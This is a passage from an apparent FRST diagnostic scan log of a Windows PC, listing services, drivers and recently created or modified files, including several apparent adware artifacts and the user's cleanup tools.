R2 ASUS InstantOn; C:\Program Files (x86)\ASUS\InstantOn for NB\InsOnSrv.exe [277120 2012-04-13] (ASUS)
R2 BitTorrent; C:\Program Files\BitTorrent\BitTorrent.exe [383488 2016-03-13] () [File not signed]
R2 c2cautoupdatesvc; C:\Program Files (x86)\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe [1433216 2016-01-08] (Microsoft Corporation)
R2 c2cpnrsvc; C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe [1773696 2016-01-08] (Microsoft Corporation)
R2 CloudPrinter; C:\ProgramData\\CloudPrinter\\CloudPrinter.exe [761856 2016-03-13] () [File not signed]
R2 GfExperienceService; C:\Program Files\NVIDIA Corporation\GeForce Experience Service\GfExperienceService.exe [1164672 2016-02-17] (NVIDIA Corporation)
R2 KMSEmulator; C:\ProgramData\KMSAuto\KMSES.exe [249344 2013-11-16] () [File not signed]
S2 KMSServerService; D:\Торенти\KMSAuto Easy 1.06.V6 (Activator For Windows 7,8,8.1 and Office 1\KMSServerService.exe [260608 2013-11-16] (My Digital Life Forums) [File not signed]
S3 MyWiFiDHCPDNS; C:\Program Files\Intel\WiFi\bin\PanDhcpDns.exe [273168 2011-12-08] ()
R2 NvNetworkService; C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe [1880960 2016-02-17] (NVIDIA Corporation)
S3 NvStreamNetworkSvc; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamNetworkService.exe [6474112 2016-02-17] (NVIDIA Corporation)
S2 NvStreamSvc; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamService.exe [2609024 2016-02-17] (NVIDIA Corporation)
R2 postgresql-x64-9.0; C:\Program Files\PostgreSQL\9.0\bin\pg_ctl.exe [111104 2012-09-21] (PostgreSQL Global Development Group) [File not signed]
S2 pyodqctprodlct; C:\Users\Stefan\AppData\Local\Konkstrip.exe [28160 2016-03-13] () [File not signed]
R2 Razer Game Scanner Service; C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe [187048 2015-06-23] ()
S2 SpyHunter 4 Service; C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe [1042304 2016-03-20] (Enigma Software Group USA, LLC.)
R2 TeamViewer; C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe [6942480 2016-03-02] (TeamViewer GmbH)
S2 TunMirror; D:\Торенти\KMSAuto Easy 1.06.V6 (Activator For Windows 7,8,8.1 and Office 1\TunMirror.exe [10752 2013-11-16] () [File not signed]
R2 VMCService; C:\Program Files (x86)\Vodafone\Vodafone Mobile Connect\Bin\VMCService.exe [14336 2008-07-04] (Vodafone) [File not signed]
R2 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [1011712 2013-05-27] (Microsoft Corporation)
R2 ZeroConfigService; C:\Program Files\Intel\WiFi\bin\ZeroConfigService.exe [594704 2011-12-08] (Intel® Corporation)

===================== Drivers (Whitelisted) ==========================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

S1 20354967; C:\Windows\system32\drivers\20354967.sys [92120 2016-01-06] () [File not signed]
S3 dtlitescsibus; C:\Windows\System32\DRIVERS\dtlitescsibus.sys [30264 2015-08-08] (Disc Soft Ltd)
R1 dtsoftbus01; C:\Windows\System32\DRIVERS\dtsoftbus01.sys [283200 2015-12-18] (DT Soft Ltd)
S3 ebdrv; C:\Windows\system32\drivers\evbda.sys [3286016 2009-06-10] (Broadcom Corporation)
S3 EsgScanner; C:\Windows\System32\DRIVERS\EsgScanner.sys [22704 2016-03-20] ()
S3 NvStreamKms; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [28032 2016-02-17] (NVIDIA Corporation)
R3 nvvad_WaveExtensible; C:\Windows\System32\drivers\nvvad64v.sys [47760 2015-12-18] (NVIDIA Corporation)
R3 rzendpt; C:\Windows\System32\DRIVERS\rzendpt.sys [50392 2015-08-13] (Razer Inc)
R2 rzpmgrk; C:\Windows\system32\drivers\rzpmgrk.sys [37184 2015-06-12] (Razer, Inc.)
R2 rzpnk; C:\Windows\system32\drivers\rzpnk.sys [129472 2015-06-27] (Razer, Inc.)
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [381608 2015-08-08] (Duplex Secure Ltd.)
S3 VGPU; System32\drivers\rdvgkmd.sys [X]

==================== NetSvcs (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)


==================== One Month Created files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2016-03-20 21:41 - 2016-03-20 21:41 - 02374144 _____ (Farbar) C:\Users\Stefan\Downloads\FRST64(1).exe
2016-03-20 21:37 - 2016-03-20 21:37 - 00260296 _____ (ESET) C:\Users\Stefan\Desktop\ESETNecursCleaner.exe
2016-03-20 21:32 - 2016-03-20 21:35 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Geek Uninstaller
2016-03-20 21:32 - 2016-03-20 21:32 - 02587378 _____ C:\Users\Stefan\Desktop\geek.zip
2016-03-20 21:32 - 2016-02-01 01:28 - 06358040 _____ (Geek Uninstaller) C:\Users\Stefan\Desktop\geek.exe
2016-03-20 21:27 - 2016-03-20 21:27 - 00000000 ____D C:\Users\Stefan\AppData\LocalLow\uTorrent
2016-03-20 19:43 - 2016-03-20 19:43 - 00052700 _____ C:\Users\Stefan\Desktop\Addition.txt
2016-03-20 19:37 - 2016-03-20 21:41 - 00026011 _____ C:\Users\Stefan\Downloads\FRST.txt
2016-03-20 19:37 - 2016-03-20 21:41 - 00000000 ____D C:\FRST
2016-03-20 19:37 - 2016-03-20 19:42 - 00052700 _____ C:\Users\Stefan\Downloads\Addition.txt
2016-03-20 19:36 - 2016-03-20 19:36 - 02374144 _____ (Farbar) C:\Users\Stefan\Downloads\FRST64.exe
2016-03-20 11:59 - 2016-03-20 11:59 - 00000000 ____D C:\Users\Stefan\Desktop\Стари данни Firefox
2016-03-20 11:35 - 2016-03-20 11:35 - 03286400 _____ (Enigma Software Group USA, LLC.) C:\Users\Stefan\Downloads\SpyHunter-Installer.exe
2016-03-20 11:07 - 2016-03-20 11:07 - 00000000 _____ C:\autoexec.bat
2016-03-20 11:06 - 2016-03-20 11:06 - 00003332 _____ C:\Windows\System32\Tasks\SpyHunter4Startup
2016-03-20 11:06 - 2016-03-20 11:06 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\SpyHunter
2016-03-20 11:06 - 2016-03-20 11:06 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Enigma Software Group
2016-03-20 11:06 - 2016-03-20 11:06 - 00000000 ____D C:\sh4ldr
2016-03-20 11:05 - 2016-03-20 11:05 - 00022704 _____ C:\Windows\system32\Drivers\EsgScanner.sys
2016-03-20 11:05 - 2016-03-20 11:05 - 00000000 ____D C:\Program Files\Enigma Software Group
2016-03-20 01:16 - 2016-03-20 10:51 - 00000000 ____D C:\Program Files (x86)\Mozilla Firefox
2016-03-14 18:16 - 2016-03-14 18:16 - 00003248 _____ C:\Windows\System32\Tasks\psv_Zaamtom
2016-03-14 18:15 - 2016-03-14 18:15 - 00003262 _____ C:\Windows\System32\Tasks\psv_TresQuoeco
2016-03-14 17:49 - 2016-03-14 17:49 - 00003234 _____ C:\Windows\System32\Tasks\producadoo
2016-03-14 06:14 - 2016-03-14 06:14 - 00003388 _____ C:\Windows\System32\Tasks\o3zplhly
2016-03-14 06:14 - 2016-03-14 06:14 - 00000000 ____D C:\Program Files\Common Files\pmk10zge
2016-03-14 05:14 - 2016-03-14 05:14 - 00003388 _____ C:\Windows\System32\Tasks\cnt5j0b3
2016-03-14 05:14 - 2016-03-14 05:14 - 00000000 ____D C:\Program Files\Common Files\m2pxazue
2016-03-14 04:14 - 2016-03-14 04:14 - 00003388 _____ C:\Windows\System32\Tasks\drf40eed
2016-03-14 04:14 - 2016-03-14 04:14 - 00000000 ____D C:\Program Files\Common Files\zivb3dwl
2016-03-14 03:14 - 2016-03-14 03:14 - 00003388 _____ C:\Windows\System32\Tasks\jaancasl
2016-03-14 03:14 - 2016-03-14 03:14 - 00000000 ____D C:\Program Files\Common Files\hykbkrt4
2016-03-14 02:14 - 2016-03-14 02:14 - 00003388 _____ C:\Windows\System32\Tasks\shypmcwx
2016-03-14 02:14 - 2016-03-14 02:14 - 00000000 ____D C:\Program Files\Common Files\dchpkqot
2016-03-14 01:14 - 2016-03-14 01:14 - 00003388 _____ C:\Windows\System32\Tasks\0ksidqpu
2016-03-14 01:14 - 2016-03-14 01:14 - 00000000 ____D C:\Program Files\Common Files\y1315233
2016-03-14 00:14 - 2016-03-14 00:14 - 00003388 _____ C:\Windows\System32\Tasks\z253j3j1
2016-03-14 00:14 - 2016-03-14 00:14 - 00000000 ____D C:\Program Files\Common Files\wr1evdgk
2016-03-13 23:14 - 2016-03-19 23:43 - 00000000 ____D C:\ProgramData\afoir
2016-03-13 23:14 - 2016-03-13 23:14 - 00003388 _____ C:\Windows\System32\Tasks\lruw24vh
2016-03-13 23:14 - 2016-03-13 23:14 - 00000000 ____D C:\ProgramData\afoirs
2016-03-13 23:14 - 2016-03-13 23:14 - 00000000 ____D C:\Program Files\Common Files\blo2ut03
2016-03-13 22:14 - 2016-03-13 22:14 - 00003388 _____ C:\Windows\System32\Tasks\zw5cgoyc
2016-03-13 22:14 - 2016-03-13 22:14 - 00000000 ____D C:\Program Files\Common Files\ea3ostxi
2016-03-13 21:14 - 2016-03-13 21:14 - 00003388 _____ C:\Windows\System32\Tasks\i0w24las
2016-03-13 21:14 - 2016-03-13 21:14 - 00000000 ____D C:\Program Files\Common Files\3nkjdsje
2016-03-13 20:15 - 2016-03-13 20:15 - 00001734 _____ C:\Users\Stefan\Desktop\Counter-Strike WaRzOnE.lnk
2016-03-13 20:14 - 2016-03-13 23:14 - 00000000 ____D C:\Program Files\BitTorrent
2016-03-13 20:13 - 2016-03-19 23:43 - 00002394 _____ C:\Windows\SysWOW64\findit.xml
2016-03-13 20:13 - 2016-03-13 20:13 - 07600640 _____ C:\Users\Stefan\AppData\Roaming\agent.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 01787264 _____ C:\Users\Stefan\AppData\Roaming\ViaNimphase.tst
2016-03-13 20:13 - 2016-03-13 20:13 - 00848437 _____ C:\Users\Stefan\AppData\Roaming\Nimtom.bin
2016-03-13 20:13 - 2016-03-13 20:13 - 00189695 _____ () C:\Users\Stefan\AppData\Roaming\Sanla.bin
2016-03-13 20:13 - 2016-03-13 20:13 - 00126464 _____ C:\Users\Stefan\AppData\Roaming\noah.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 00126464 _____ C:\Users\Stefan\AppData\Roaming\lobby.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 00072714 _____ C:\Users\Stefan\AppData\Roaming\Domlam.tst
2016-03-13 20:13 - 2016-03-13 20:13 - 00065040 _____ C:\Users\Stefan\AppData\Roaming\Config.xml
2016-03-13 20:13 - 2016-03-13 20:13 - 00054272 _____ C:\Users\Stefan\AppData\Roaming\ApplicationHosting.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 00041472 _____ C:\Users\Stefan\AppData\Local\Konkstrip.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 00028160 _____ C:\Users\Stefan\AppData\Local\Konkstrip.exe
2016-03-13 20:13 - 2016-03-13 20:13 - 00018432 _____ C:\Users\Stefan\AppData\Roaming\Main.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 00005568 _____ C:\Users\Stefan\AppData\Roaming\md.xml
2016-03-13 20:13 - 2016-03-13 20:13 - 00000187 _____ C:\Users\Stefan\AppData\Local\Konkstrip.exe.config
2016-03-13 20:13 - 2016-03-13 20:13 - 00000000 ____D C:\ProgramData\Ronzaps
2016-03-13 20:13 - 2016-03-13 20:13 - 00000000 ____D C:\ProgramData\CloudPrinter
2016-03-13 20:13 - 2016-03-13 20:12 - 00761856 _____ C:\Users\Stefan\AppData\Roaming\ViaNimphase.exe
2016-03-13 20:13 - 2016-03-13 20:12 - 00761856 _____ C:\Users\Stefan\AppData\Roaming\Domlam.exe
2016-03-13 20:12 - 2016-03-13 20:13 - 00016992 _____ C:\Users\Stefan\AppData\Roaming\InstallationConfiguration.xml
2016-03-13 20:12 - 2016-03-13 20:12 - 00127488 _____ C:\Users\Stefan\AppData\Roaming\Installer.dat
2016-03-13 20:00 - 2016-03-13 20:00 - 00001948 _____ C:\Users\postgres\Desktop\Counter Strike 1.6 Non Steam.lnk
2016-03-13 20:00 - 2016-03-13 20:00 - 00001928 _____ C:\Users\postgres\Desktop\Dedicated Server.lnk
2016-03-13 19:59 - 2016-03-13 20:00 - 00000000 ____D C:\Program Files (x86)\Valve
2016-03-13 00:24 - 2016-03-13 00:24 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\NVIDIA
2016-03-13 00:23 - 2016-03-13 00:23 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\HLDS
2016-03-13 00:23 - 2016-03-13 00:23 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Half-Life
2016-03-13 00:23 - 2016-03-13 00:23 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Counter-Strike
2016-03-13 00:23 - 2016-03-13 00:23 - 00000000 ____D C:\Games
2016-03-12 01:22 - 2013-01-27 18:32 - 00066331 _____ C:\Program Files (x86)\EULA.eng
2016-03-12 01:19 - 2016-03-12 01:19 - 00002033 _____ C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\888poker.lnk
2016-03-12 01:19 - 2016-03-12 01:19 - 00002009 _____ C:\Users\postgres\Desktop\888poker.lnk
2016-03-12 01:19 - 2016-03-12 01:19 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\PacificPoker
2016-03-12 01:19 - 2016-03-12 01:19 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\888poker
2016-03-12 01:19 - 2016-03-12 01:19 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\888poker
2016-03-12 01:18 - 2016-03-12 01:18 - 00000000 ____D C:\Program Files (x86)\888poker.net
2016-03-12 01:14 - 2016-03-12 01:23 - 00000000 ____D C:\Program Files (x86)\PacificPoker
2016-03-12 01:11 - 2016-03-12 01:26 - 00000000 ____D C:\Users\Stefan\Documents\888poker
2016-03-11 10:36 - 2016-03-20 21:33 - 00000000 ____D C:\Users\Stefan\AppData\Local\CrashDumps
2016-03-11 01:13 - 2016-03-14 18:13 - 00000000 ____D C:\Windows\SysWOW64\NV
2016-03-11 01:13 - 2016-03-14 18:13 - 00000000 ____D C:\Windows\system32\NV
2016-03-11 01:11 - 2016-03-08 12:07 - 42968120 _____ C:\Windows\system32\nvcompiler.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 37609528 _____ C:\Windows\SysWOW64\nvcompiler.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 22932928 _____ (NVIDIA Corporation) C:\Windows\system32\nvoglv64.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 21313024 _____ (NVIDIA Corporation) C:\Windows\system32\nvopencl.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 20854680 _____ (NVIDIA Corporation) C:\Windows\system32\nvcuda.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 18990976 _____ (NVIDIA Corporation) C:\Windows\system32\nvwgf2umx.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 18879544 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvoglv32.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 17725040 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvopencl.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 17318184 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvcuda.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 17246680 _____ (NVIDIA Corporation) C:\Windows\system32\nvd3dumx.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 16439328 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvwgf2um.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 12564024 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvlddmkm.sys
2016-03-11 01:11 - 2016-03-08 12:07 - 10546944 _____ C:\Windows\system32\nvptxJitCompiler.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 08658120 _____ C:\Windows\SysWOW64\nvptxJitCompiler.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 03233336 _____ (NVIDIA Corporation) C:\Windows\system32\nvcuvid.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 02808768 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvcuvid.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 01924152 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispco6436451.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 01571776 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispgenco6436451.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00956984 _____ (NVIDIA Corporation) C:\Windows\system32\NvFBC64.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00886840 _____ (NVIDIA Corporation) C:\Windows\system32\NvIFR64.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00749504 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\NvFBC.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00693816 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\NvIFR.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00678520 _____ C:\Windows\system32\nvfatbinaryLoader.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00571912 _____ C:\Windows\SysWOW64\nvfatbinaryLoader.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00473056 _____ (NVIDIA Corporation) C:\Windows\system32\nvumdshimx.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00151368 _____ (NVIDIA Corporation) C:\Windows\system32\nvoglshim64.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00128696 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvoglshim32.dll
2016-03-11 01:11 - 2016-03-08 12:07 - 00039992 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvpciflt.sys
2016-03-11 01:11 - 2016-03-08 12:07 - 00000139 _____ C:\Windows\SysWOW64\nv-vk32.json
2016-03-11 01:11 - 2016-03-08 12:07 - 00000139 _____ C:\Windows\system32\nv-vk64.json
2016-03-08 22:52 - 2016-03-08 22:55 - 00000000 ____D C:\Program Files (x86)\PKR
2016-03-08 22:52 - 2016-03-08 22:52 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PKR
2016-03-08 21:37 - 2016-03-08 21:38 - 00002441 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Acrobat Reader DC.lnk
2016-03-08 21:37 - 2016-03-08 21:37 - 00000000 ____D C:\Program Files (x86)\Adobe
2016-03-08 21:30 - 2015-12-18 08:11 - 00047760 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvvad64v.sys
2016-03-08 21:30 - 2015-12-18 08:10 - 00099472 _____ (NVIDIA Corporation) C:\Windows\system32\nvaudcap64v.dll
2016-03-08 21:30 - 2015-12-18 08:10 - 00090768 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvaudcap32v.dll
2016-03-08 21:27 - 2016-03-08 12:07 - 14128496 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvd3dum.dll
2016-03-08 21:27 - 2016-03-08 12:07 - 00391632 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvumdshim.dll
2016-03-08 21:27 - 2016-03-08 12:07 - 00175552 _____ (NVIDIA Corporation) C:\Windows\system32\nvinitx.dll
2016-03-08 21:27 - 2016-03-08 12:07 - 00153392 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvinit.dll
2016-03-08 21:27 - 2016-02-24 01:58 - 01922496 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispco6436200.dll
2016-03-08 21:27 - 2016-02-24 01:58 - 01571776 _____ (NVIDIA Corporation) C:\Windows\system32\nvdispgenco6436200.dll
2016-03-08 21:20 - 2016-02-17 08:40 - 01756424 _____ (NVIDIA Corporation) C:\Windows\system32\nvspbridge64.dll
2016-03-08 21:20 - 2016-02-17 08:40 - 01316184 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvspbridge.dll
2016-03-08 21:20 - 2016-02-17 08:40 - 00112216 _____ C:\Windows\system32\NvRtmpStreamer64.dll
2016-03-08 21:19 - 2016-03-11 01:14 - 00000000 ____D C:\ProgramData\Package Cache
2016-02-25 13:03 - 2016-02-25 13:03 - 00001654 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Poker at bet365.lnk
2016-02-25 13:03 - 2016-02-25 13:03 - 00001642 _____ C:\Users\Public\Desktop\Poker at bet365.lnk
2016-02-25 13:02 - 2016-03-02 15:00 - 00000000 ____D C:\Program Files (x86)\Poker at bet365
2016-02-19 05:49 - 2016-02-19 05:49 - 00001078 _____ C:\Users\postgres\Desktop\PokerTracker 4.lnk
2016-02-19 05:49 - 2016-02-19 05:49 - 00000016 _____ C:\ProgramData\mntemp

==================== One Month Modified files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2016-03-20 21:41 - 2013-11-17 14:38 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Skype
2016-03-20 21:41 - 2013-11-16 00:30 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\uTorrent
2016-03-20 21:32 - 2009-07-14 06:45 - 00020832 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2016-03-20 21:32 - 2009-07-14 06:45 - 00020832 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2016-03-20 21:30 - 2013-11-17 15:11 - 00000000 ____D C:\Program Files (x86)\The KMPlayer
2016-03-20 21:16 - 2013-11-16 00:20 - 00000830 _____ C:\Windows\Tasks\Adobe Flash Player Updater.job
2016-03-20 20:54 - 2013-11-16 00:20 - 00000998 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job
2016-03-20 20:54 - 2013-11-16 00:20 - 00000994 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job
2016-03-20 20:39 - 2015-11-03 03:42 - 00000000 ____D C:\Users\Stefan\AppData\Local\PokerStars.BG
2016-03-20 20:37 - 2014-09-26 22:46 - 00000000 ____D C:\Program Files (x86)\PokerStars.BG
2016-03-20 19:36 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\inf
2016-03-20 10:59 - 2015-12-20 21:31 - 00000000 ____D C:\Program Files (x86)\Voobly
2016-03-20 10:51 - 2013-11-17 14:34 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2016-03-20 02:38 - 2015-07-19 19:50 - 00000892 _____ C:\Windows\Tasks\Adobe Flash Player PPAPI Notifier.job
2016-03-19 23:43 - 2013-11-17 14:34 - 00001169 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2016-03-19 23:43 - 2013-11-17 14:34 - 00001163 _____ C:\Users\Public\Desktop\Mozilla Firefox.lnk
2016-03-19 23:43 - 2013-11-16 01:44 - 00002294 _____ C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2016-03-19 23:43 - 2013-11-15 22:30 - 00001405 _____ C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2016-03-18 00:57 - 2014-06-11 20:53 - 00003864 _____ C:\Windows\System32\Tasks\Opera scheduled Autoupdate 1384553415
2016-03-18 00:57 - 2013-11-16 00:10 - 00000000 ____D C:\Program Files (x86)\Opera
2016-03-17 07:44 - 2013-11-17 14:38 - 00000000 ___RD C:\Program Files (x86)\Skype
2016-03-17 07:44 - 2013-11-17 14:37 - 00000000 ____D C:\ProgramData\Skype
2016-03-14 23:32 - 2015-09-13 18:49 - 00000000 ____D C:\Program Files (x86)\Steam
2016-03-14 18:19 - 2009-07-14 07:13 - 00782882 _____ C:\Windows\system32\PerfStringBackup.INI
2016-03-14 18:13 - 2009-07-14 07:08 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2016-03-14 17:49 - 2014-11-09 23:30 - 00003254 _____ C:\Windows\System32\Tasks\PC Speed Maximizer Schedule
2016-03-13 22:20 - 2015-11-10 23:51 - 00000971 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 11.lnk
2016-03-13 22:20 - 2015-11-10 23:51 - 00000959 _____ C:\Users\Public\Desktop\TeamViewer 11.lnk
2016-03-13 22:20 - 2013-11-22 21:42 - 00000000 ____D C:\Program Files (x86)\TeamViewer
2016-03-13 21:12 - 2014-02-13 15:04 - 00000000 ____D C:\Users\Stefan\AppData\Local\PokerTracker 4
2016-03-13 21:12 - 2014-02-13 15:04 - 00000000 ____D C:\Program Files (x86)\PokerTracker 4
2016-03-13 19:59 - 2013-11-16 00:35 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2016-03-12 01:19 - 2015-12-18 23:04 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Games
2016-03-11 18:16 - 2015-07-19 19:50 - 00003890 _____ C:\Windows\System32\Tasks\Adobe Flash Player PPAPI Notifier
2016-03-11 18:16 - 2013-11-16 00:20 - 00797376 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
2016-03-11 18:16 - 2013-11-16 00:20 - 00142528 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
2016-03-11 18:16 - 2013-11-16 00:20 - 00003768 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2016-03-11 01:12 - 2013-11-15 23:24 - 00000000 ____D C:\ProgramData\NVIDIA
2016-03-08 21:38 - 2015-01-29 19:56 - 00003886 _____ C:\Windows\System32\Tasks\Adobe Acrobat Update Task
2016-03-08 21:37 - 2013-11-16 00:50 - 00000000 ____D C:\ProgramData\Adobe
2016-03-08 21:31 - 2013-11-26 20:42 - 00000000 ____D C:\Users\Stefan\AppData\Local\NVIDIA Corporation
2016-03-08 21:31 - 2013-11-26 20:40 - 00000000 ____D C:\Users\Stefan\AppData\Local\NVIDIA
2016-03-08 21:31 - 2013-11-15 23:23 - 00000000 ____D C:\ProgramData\NVIDIA Corporation
2016-03-08 21:29 - 2013-11-15 23:23 - 00000000 ____D C:\Program Files (x86)\NVIDIA Corporation
2016-03-08 21:28 - 2013-11-15 23:23 - 00000000 ____D C:\Program Files\NVIDIA Corporation
2016-03-08 12:07 - 2013-11-17 14:37 - 03283896 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvapi.dll
2016-03-08 12:07 - 2013-04-08 13:32 - 03711024 _____ (NVIDIA Corporation) C:\Windows\system32\nvapi64.dll
2016-03-08 12:07 - 2013-04-08 13:32 - 00036743 _____ C:\Windows\system32\nvinfo.pb
2016-03-08 08:27 - 2013-11-15 23:24 - 06369728 _____ (NVIDIA Corporation) C:\Windows\system32\nvcpl.dll
2016-03-08 08:27 - 2013-11-15 23:24 - 02994232 _____ (NVIDIA Corporation) C:\Windows\system32\nvsvc64.dll
2016-03-08 08:27 - 2013-11-15 23:24 - 02561472 _____ (NVIDIA Corporation) C:\Windows\system32\nvsvcr.dll
2016-03-08 08:27 - 2013-11-15 23:24 - 01264064 _____ (NVIDIA Corporation) C:\Windows\system32\nvvsvc.exe
2016-03-08 08:27 - 2013-11-15 23:24 - 00532536 _____ (NVIDIA Corporation) C:\Windows\system32\nv3dappshext.dll
2016-03-08 08:27 - 2013-11-15 23:24 - 00392128 _____ (NVIDIA Corporation) C:\Windows\system32\nvmctray.dll
2016-03-08 08:27 - 2013-11-15 23:24 - 00083512 _____ (NVIDIA Corporation) C:\Windows\system32\nv3dappshextr.dll
2016-03-08 08:27 - 2013-11-15 23:24 - 00069568 _____ (NVIDIA Corporation) C:\Windows\system32\nvshext.dll
2016-03-07 06:23 - 2013-11-15 23:24 - 06203411 _____ C:\Windows\system32\nvcoproc.bin
2016-03-06 15:09 - 2015-04-10 14:30 - 00000000 ____D C:\Users\Stefan\AppData\Local\Steam
2016-03-04 01:11 - 2013-11-16 01:06 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\DAEMON Tools Lite
2016-03-04 01:09 - 2014-01-23 21:16 - 00000000 ____D C:\Windows\Minidump
2016-03-03 03:21 - 2013-11-22 21:52 - 00000000 ____D C:\Users\Stefan\AppData\Roaming\TeamViewer
2016-03-02 21:08 - 2015-07-17 09:03 - 00003414 _____ C:\Windows\System32\Tasks\GyazoUpdateTaskMachineDaily
2016-03-02 21:08 - 2015-07-17 09:03 - 00003288 _____ C:\Windows\System32\Tasks\GyazoUpdateTaskMachine
2016-03-02 21:08 - 2015-07-17 09:03 - 00000000 ____D C:\Program Files (x86)\Gyazo
2016-03-02 14:53 - 2015-06-26 19:36 - 00000000 ____D C:\Rua Gaming
2016-02-26 09:21 - 2015-12-20 21:31 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Voobly
2016-02-24 01:58 - 2013-11-15 23:08 - 00215608 _____ (Khronos Group) C:\Windows\system32\OpenCL.DLL
